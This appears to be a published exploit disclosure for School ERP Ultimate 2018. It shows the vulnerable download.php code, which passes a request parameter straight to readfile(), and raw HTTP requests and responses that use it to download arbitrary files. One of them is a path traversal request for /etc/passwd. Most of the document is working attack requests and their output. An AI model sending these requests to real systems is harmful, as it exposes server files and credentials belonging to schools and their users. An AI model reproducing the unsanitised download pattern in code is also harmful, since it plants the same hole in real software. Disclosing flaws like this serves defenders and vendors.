School ERP Ultimate 2018 Arbitrary File Download

`# Exploit Title: School ERP Ultimate 2018 - Arbitrary File Download  
# Dork: N/A  
# Date: 2018-10-21  
# Exploit Author: Ihsan Sencan  
# Vendor Homepage: http://freeschoolerp.com/  
# Software Link: http://freeschoolerp.com/schoolerp_30Nov2017_free.zip  
# Software Link: https://sourceforge.net/projects/free-school-management-system/files/latest/download  
# Version: 2018  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
  
# POC:   
# 1)  
# http://localhost/[PATH]/student_staff/download.php?document=[FILE]  
# http://localhost/[PATH]/office_admin/download.php?document=[FILE]  
#   
# /[PATH]/student_staff/download.php  
# /[PATH]/office_admin/download.php  
# ....  
# if ( isset($_REQUEST["document"])&&$_REQUEST["document"]!="") {  
# $file = $_REQUEST['document'];  
# header("Content-type: application/force-download");  
# header("Content-Transfer-Encoding: Binary");  
# header("Content-length: ".filesize($file));  
# header("Content-disposition: attachment; filename=\"".$file."\"");  
# readfile($file);  
# exit;  
# }  
# ....  
  
GET /[PATH]/student_staff/download.php?document=download.php HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
HTTP/1.1 200 OK  
Date: Sun, 21 Oct 2018 00:30:01 GMT  
Server: Apache  
Content-Transfer-Encoding: Binary  
Content-Disposition: attachment; filename="download.php"  
Content-Length: 337  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: application/force-download  
  
GET /[PATH]/office_admin/download.php?document=../../../../../etc/passwd HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
HTTP/1.1 200 OK  
Date: Sun, 21 Oct 2018 00:31:34 GMT  
Server: Apache  
Content-Transfer-Encoding: Binary  
Content-Disposition: attachment; filename="../../../../../etc/passwd"  
Content-Length: 46368  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: application/force-download  
  
  
`